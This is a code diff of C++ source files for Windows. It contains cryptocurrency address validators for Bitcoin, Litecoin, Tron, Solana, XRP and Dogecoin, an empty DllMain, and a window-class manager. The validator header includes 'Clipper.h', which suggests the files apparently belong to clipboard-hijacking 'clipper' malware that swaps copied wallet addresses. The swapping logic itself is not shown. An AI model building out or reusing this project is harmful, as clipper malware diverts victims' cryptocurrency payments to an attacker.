{
if (address.length() < 11 || address.length() > 90)
return false;
if (address.substr(0, 4) != L"ltc1")
return false;
static const std::wregex pattern(L"^ltc1[a-zA-HJ-NP-Z0-9]{8,87}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateTron(const std::wstring& address)
{
if (!CheckTronPrefix(address))
return false;
if (address.length() != 34)
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^T[1-9A-HJ-NP-Za-km-z]{33}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateSolana(const std::wstring& address)
{
if (!CheckAddressLength(address, 32, 44))
return false;
wchar_t firstChar = address[0];
if (firstChar == L'r') // XRP
return false;
if (firstChar == L'D') // DOGE
return false;
if (firstChar == L'T') // TRON
return false;
if (firstChar == L'4' || firstChar == L'8') // Monero
return false;
if (firstChar == L'1' || firstChar == L'3') // Bitcoin legacy
return false;
if (firstChar == L'L' || firstChar == L'M') // Litecoin
return false;
if (firstChar == L'0') // EVM
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^[1-9A-HJ-NP-Za-km-z]{32,44}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateRipple(const std::wstring& address)
{
if (address.empty() || address[0] != L'r')
return false;
if (!CheckAddressLength(address, 25, 35))
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^r[0-9a-zA-Z]{24,34}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateDogecoin(const std::wstring& address)
{
if (!CheckDogecoinPrefix(address))
return false;
if (address.length() != 34)
return false;
if (address[0] != L'D')
return false;
wchar_t secondChar = address[1];
if (!(secondChar >= L'5' && secondChar <= L'9') &&
!(secondChar >= L'A' && secondChar <= L'H') &&
!(secondChar >= L'J' && secondChar <= L'N') &&
!(secondChar >= L'P' && secondChar <= L'U'))
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::CheckBitcoinLegacyPrefix(const std::wstring& address)
{
if (address.empty())
return false;
wchar_t firstChar = address[0];
return firstChar == L'1' || firstChar == L'3';
}
bool CryptocurrencyValidator::CheckBitcoinSegWitPrefix(const std::wstring& address)
{
if (address.empty())
return false;
wchar_t firstChar = address[0];
return firstChar == L'3';
}
bool CryptocurrencyValidator::CheckLitecoinLegacyPrefix(const std::wstring& address)
{
if (address.empty())
return false;
wchar_t firstChar = address[0];
return firstChar == L'L' || firstChar == L'M' || firstChar == L'3';
}
bool CryptocurrencyValidator::CheckTronPrefix(const std::wstring& address)
{
if (address.empty())
return false;
return address[0] == L'T';
}
bool CryptocurrencyValidator::CheckRipplePrefix(const std::wstring& address)
{
if (address.empty())
return false;
return address[0] == L'r';
}
bool CryptocurrencyValidator::CheckDogecoinPrefix(const std::wstring& address)
{
if (address.empty())
return false;
return address[0] == L'D';
}
bool CryptocurrencyValidator::CheckAddressLength(const std::wstring& address, size_t minLen, size_t maxLen)
{
size_t len = address.length();
return len >= minLen && len <= maxLen;
}
bool CryptocurrencyValidator::CheckCharacterSet(const std::wstring& address, const std::wstring& allowedChars)
{
for (wchar_t ch : address)
{
if (allowedChars.find(ch) == std::wstring::npos)
return false;
}
return true;
}
bool CryptocurrencyValidator::CheckHexFormat(const std::wstring& address)
{
return CheckCharacterSet(address, kHexCharacters);
}
bool CryptocurrencyValidator::CheckBase58Format(const std::wstring& address)
{
return CheckCharacterSet(address, kBase58Characters);
}
bool CryptocurrencyValidator::MatchesPattern(const std::wstring& address, const std::wregex& pattern)
{
return std::regex_match(address, pattern);
}
+41
View File
@@ -0,0 +1,41 @@
#pragma once
#include "Clipper.h"
#include <string>
#include <regex>
class CryptocurrencyValidator
{
public:
static bool Validate(Cryptocurrency type, const std::wstring& address);
static bool ValidateBitcoin(const std::wstring& address);
static bool ValidateEVM(const std::wstring& address);
static bool ValidateMonero(const std::wstring& address);
static bool ValidateLitecoin(const std::wstring& address);
static bool ValidateTron(const std::wstring& address);
static bool ValidateSolana(const std::wstring& address);
static bool ValidateRipple(const std::wstring& address);
static bool ValidateDogecoin(const std::wstring& address);
private:
static bool ValidateBitcoinLegacy(const std::wstring& address);
static bool ValidateBitcoinSegWit(const std::wstring& address);
static bool ValidateBitcoinNative(const std::wstring& address);
static bool ValidateLitecoinLegacy(const std::wstring& address);
static bool ValidateLitecoinSegWit(const std::wstring& address);
static bool CheckBitcoinLegacyPrefix(const std::wstring& address);
static bool CheckBitcoinSegWitPrefix(const std::wstring& address);
static bool CheckLitecoinLegacyPrefix(const std::wstring& address);
static bool CheckTronPrefix(const std::wstring& address);
static bool CheckRipplePrefix(const std::wstring& address);
static bool CheckDogecoinPrefix(const std::wstring& address);
static bool CheckAddressLength(const std::wstring& address, size_t minLen, size_t maxLen);
static bool CheckCharacterSet(const std::wstring& address, const std::wstring& allowedChars);
static bool CheckHexFormat(const std::wstring& address);
static bool CheckBase58Format(const std::wstring& address);
static bool MatchesPattern(const std::wstring& address, const std::wregex& pattern);
};
+21
View File
@@ -0,0 +1,21 @@
#include <Windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
+104
View File
@@ -0,0 +1,104 @@
#include "WindowClassManager.hpp"
WindowClassManager::WindowClassManager(const std::wstring& className) : mClassName(className), mhInstance(GetModuleHandleW(nullptr)), mIsRegistered(false)
{
}
WindowClassManager::~WindowClassManager()
{
if (mIsRegistered)
Unregister();
}
bool WindowClassManager::Register(WNDPROC wndProc)
{
if (mIsRegistered)
return true;
if (!wndProc)
return false;
WNDCLASSEXW wc = CreateWindowClass(wndProc);
return RegisterWindowClass(wc);
}
bool WindowClassManager::Unregister()
{
if (!mIsRegistered)
return true;
return UnregisterWindowClass();
}
bool WindowClassManager::IsRegistered() const
{
return mIsRegistered;
}
std::wstring WindowClassManager::GetWindowClassName() const
{
return mClassName;
}
HINSTANCE WindowClassManager::GetInstance() const
{
return mhInstance;
}
WNDCLASSEXW WindowClassManager::CreateWindowClass(WNDPROC wndProc) const
{
WNDCLASSEXW wc = {};
InitializeWindowClassDefaults(wc);
wc.lpfnWndProc = wndProc;
return wc;
}
bool WindowClassManager::RegisterWindowClass(const WNDCLASSEXW& wc)
{
ATOM result = RegisterClassExW(&wc);
if (result == 0)
return false;
SetRegistered(true);
return true;
}
bool WindowClassManager::UnregisterWindowClass()
{
BOOL result = UnregisterClassW(mClassName.c_str(), mhInstance);
if (!result)
return false;
SetRegistered(false);
return true;
}
void WindowClassManager::SetRegistered(bool registered)
{
mIsRegistered = registered;
}
WNDCLASSEXW WindowClassManager::BuildWindowClassStruct(WNDPROC wndProc) const
{
WNDCLASSEXW wc = {};
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = wndProc;
wc.hInstance = mhInstance;
wc.lpszClassName = mClassName.c_str();
return wc;
}
void WindowClassManager::InitializeWindowClassDefaults(WNDCLASSEXW& wc) const
{
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = nullptr;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = mhInstance;
wc.hIcon = nullptr;
wc.hCursor = nullptr;
wc.hbrBackground = nullptr;
wc.lpszMenuName = nullptr;
wc.lpszClassName = mClassName.c_str();
wc.hIconSm = nullptr;
}
+32
View File
@@ -0,0 +1,32 @@
#pragma once
#include <Windows.h>
#include <string>
class WindowClassManager
{
public:
WindowClassManager(const std::wstring& className);
~WindowClassManager();
bool Register(WNDPROC wndProc);
bool Unregister();
bool IsRegistered() const;
std::wstring GetWindowClassName() const;
HINSTANCE GetInstance() const;
WNDCLASSEXW CreateWindowClass(WNDPROC wndProc) const;
private:
bool RegisterWindowClass(const WNDCLASSEXW& wc);
bool UnregisterWindowClass();
void SetRegistered(bool registered);
WNDCLASSEXW BuildWindowClassStruct(WNDPROC wndProc) const;
void InitializeWindowClassDefaults(WNDCLASSEXW& wc) const;
std::wstring mClassName;
HINSTANCE mhInstance;
bool mIsRegistered;
};